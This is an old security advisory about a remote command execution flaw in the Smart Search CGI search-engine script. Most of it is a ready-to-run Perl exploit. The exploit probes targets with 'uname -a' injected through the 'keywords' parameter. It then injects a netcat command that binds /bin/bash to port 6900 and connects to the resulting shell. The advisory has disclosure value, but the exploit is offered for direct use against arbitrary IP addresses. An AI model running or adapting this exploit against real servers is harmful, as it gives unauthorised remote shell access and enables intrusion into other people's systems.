[EXPL] Smart Search CGI Remote Command Execution Exploit

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      Smart Search CGI Remote Command Execution Exploit
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    SUMMARY

     <http://smartcgis.com/smartsearch/> Smart Search is a unique search
    engine script like none other available for sale on the Internet. A
    vulnerability in the product allows remote attackers to cause it to
    execute arbitrary commands.

    DETAILS

    Exploit:
    #!/usr/bin/perl -w
    #
    # Smart Search CGI Remote Exploit by: Knight420
    #
    # Greetz: echo, qubit, lkm, omega, borgon
    #

    use IO::Socket;
    if ($#ARGV<0)
    {
    print "\nSmart Search CGI Remote Exploit by: Knight420";
    print "\n\n Usage: perl smartass.pl ip path\n\n";
    exit;
    }
    $elite = ("GET
    $ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash|
    HTTP/1.0");
    $check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
    $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
    PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]"
    }
    system('clear ');
    print "Smart Search CGI Remote Exploit by: knight420";
    print "\n*** [1] Checking if remote host is vulnerable...";
    print $connect "$check";
    if ($#connect<0)
    {
    print "\n*** [*] Remote host is not vulnerable... \n";
    exit;
    }
    print "\n *** [2] Host is vulnerable...Sending exploit code";
    print $connect "$elite";
    system('nc -v $ARGV[0] 6900 ');
    close($connect);

    ADDITIONAL INFORMATION

    The information has been provided by Knight420.

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